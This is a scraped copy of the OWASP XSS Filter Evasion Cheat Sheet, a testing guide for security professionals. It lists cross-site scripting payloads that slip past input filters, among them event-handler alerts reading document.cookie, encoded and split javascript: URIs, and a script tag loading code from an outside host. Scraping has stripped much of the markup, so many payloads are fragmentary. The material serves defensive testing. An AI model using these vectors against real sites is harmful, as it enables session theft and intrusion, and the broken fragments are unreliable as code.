XSS Filter Evasion - OWASP Cheat Sheet Series

XSS Filter Evasion - OWASP Cheat Sheet Series
Skip to content
XSS Filter Evasion Cheat Sheet
Introduction
This article is a guide to Cross Site Scripting (XSS) testing for application security professionals. This cheat sheet was originally based on RSnake's seminal XSS Cheat Sheet previously at:
. Now, the OWASP Cheat Sheet Series provides users with an updated and maintained version of the document. The very first OWASP Cheat Sheet,
Cross Site Scripting Prevention
, was inspired by RSnake's work and we thank RSnake for the inspiration!
Tests
This cheat sheet demonstrates that input filtering is an incomplete defense for XSS by supplying testers with a series of XSS attacks that can bypass certain XSS defensive filters.
Basic XSS Test Without Filter Evasion
This attack, which uses normal XSS JavaScript injection, serves as a baseline for the cheat sheet (the quotes are not required in any modern browser so they are omitted here):
SCRIPT
SRC
>SCRIPT
XSS Locator (Polyglot)
This test delivers a 'polyglot test XSS payload' that executes in multiple contexts, including HTML, script strings, JavaScript, and URLs:
javascript
/*-->

(Based on this
tweet
by
Gareth Heyes
).
Malformed A Tags
This test skips the
href
attribute to demonstrate an XSS attack using event handlers:
onmouseover
"alert(document.cookie)"
xxs
link
/a\>
Chrome automatically inserts missing quotes for you. If you encounter issues, try omitting them and Chrome will correctly place the missing quotes in URLs or scripts for you:
onmouseover
alert
document
xxs
link
/a\>
(Submitted by David Cross, Verified on Chrome)
Malformed IMG Tags
This XSS method uses the relaxed rendering engine to create an XSS vector within an IMG tag (which needs to be encapsulated within quotes). We believe this approach was originally meant to correct sloppy coding and it would also make it significantly more difficult to correctly parse HTML tags:
IMG
"""
><
SCRIPT
alert
"XSS"
)SCRIPT
"\>
(Originally found by Begeek, but it was cleaned up and shortened to work in all browsers)
fromCharCode
If the system does not allow quotes of any kind, you can
eval()
fromCharCode
in JavaScript to create any XSS vector you need:
href
"javascript:alert(String.fromCharCode(88,83,83))"
Click Me!
Default SRC Tag to Get Past Filters that Check SRC Domain
This attack will bypass most SRC domain filters. Inserting JavaScript in an event handler also applies to any HTML tag type injection using elements like Form, Iframe, Input, Embed, etc. This also allows the substitution of any relevant event for the tag type, such as
onblur
or
onclick
, providing extensive variations of the injections listed here:
IMG
SRC
onmouseover
"alert('xxs')"
(Submitted by David Cross and edited by Abdullah Hussam)
Default SRC Tag by Leaving it Empty
IMG
SRC
onmouseover="alert('xxs')"
Default SRC Tag by Leaving it out Entirely
IMG
onmouseover
"alert('xxs')"
On Error Alert
IMG
SRC
onerror
"alert(String.fromCharCode(88,83,83))"
>img
IMG onerror and JavaScript Alert Encode
img
src
onerror
"javascript:alert('XSS')"
Decimal HTML Character References
Since XSS examples that use a
javascript:
directive inside an
tag do not work on Firefox this approach uses decimal HTML character references as a workaround:
href
"javascript:alert('XSS')"
Click Me!
Decimal HTML Character References Without Trailing Semicolons
This is often effective in bypassing XSS filters that look for the string
&\#XX;
, since most people don't know about padding - which can be used up to 7 numeric characters total. This is also useful against filters that decode against strings like
$tmp\_string =\~ s/.\*\\&\#(\\d+);.\*/$1/;
which incorrectly assumes a semicolon is required to terminate a HTML encoded string (This has been seen in the wild):
href
"javascript:alert('XSS')"
Click Me
Hexadecimal HTML Character References Without Trailing Semicolons
This attack is also viable against the filter for the string
$tmp\_string=\~ s/.\*\\&\#(\\d+);.\*/$1/;
, because it assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters:
href
"javascript:alert('XSS')"
Click Me
Embedded Tab
This approach breaks up the XSS attack:
href
"jav ascript:alert('XSS');"
Click Me
Embedded Encoded Tab
This approach can also break up XSS:
href
"jav ascript:alert('XSS');"
Click Me
Embedded Newline to Break Up XSS
While some defenders claim that any of the chars 09-13 (decimal) will work for this attack, this is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. Examine the
ASCII table
for reference. The next four XSS attack examples illustrate this vector:
href
"jav ascript:alert('XSS');"
Click Me
Example 1: Break Up XSS Attack with Embedded Carriage Return
(Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters.):
href
"jav ascript:alert('XSS');"
Click Me
Example 2: Break Up JavaScript Directive with Null
Null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy or use
%00
in the URL string or if you want to write your own injection tool you can either use vim (
^V^@
will produce a null) or the following program to generate it into a text file. The null char
%00
is much more useful and helped me bypass certain real world filters with a variation on this example:
perl
-e
'print "";'
out
Example 3: Spaces and Meta Chars Before the JavaScript in Images for XSS
This is useful if a filter's pattern match doesn't take into account spaces in the word
javascript:
, which is correct since that won't render, but makes the false assumption that you can't have a space between the quote and the
javascript:
keyword. The actual reality is you can have any char from 1-32 in decimal:
href
"  javascript:alert('XSS');"
Click Me
Example 4: Non-alpha-non-digit XSS
The Firefox HTML parser assumes a non-alpha-non-digit is not valid after an HTML keyword and therefore considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. For example
\!=
\
portion of this XSS vector, because Firefox assumes it's safe to close the HTML tag and adds closing tags for you. Unlike the next attack, which doesn't affect Firefox, this method does not require any additional HTML below it. You can add quotes if you need to, but they're normally not needed:
SCRIPT
SRC
Protocol Resolution in Script Tags
This particular variant is partially based on Ozh's protocol resolution bypass below, and it works in IE and Edge in compatibility mode. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The
.j
is valid, regardless of the encoding type because the browser knows it in context of a SCRIPT tag:
SCRIPT
SRC
//xss.rocks/.j
(Submitted by Łukasz Pilorz)
Half Open HTML/JavaScript XSS Vector
Unlike Firefox, the IE rendering engine (Trident) doesn't add extra data to your page, but it does allow the
javascript:
directive in images. This is useful as a vector because it doesn't require a close angle bracket. This assumes there is any HTML tag below where you are injecting this XSS vector. Even though there is no close
\>
tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. It gets around the following network intrusion detection system (NIDS) regex:
/((\\%3D)|(=))\[^\\n\]\*((\\%3C)|\<)\[^\\n\]+((\\%3E)|\>)/
because it doesn't require the end
\>
. As a side note, this was also affective against a real world XSS filter using an open ended
tag instead of an
tag.
IMG
SRC
"``('XSS')"
Escaping JavaScript Escapes
If an application is written to output some user information inside of a JavaScript (like the following:

) and you want to inject your own JavaScript into it but the server side application escapes certain quotes, you can circumvent that by escaping their escape character. When this gets injected it will read

which ends up un-escaping the double quote and causing the XSS vector to fire. The XSS locator uses this method:
\"
alert
'XSS'
);
//
An alternative, if correct JSON or JavaScript escaping has been applied to the embedded data but not HTML encoding, is to finish the script block and start your own:
/script>
End Title Tag
This is a simple XSS vector that closes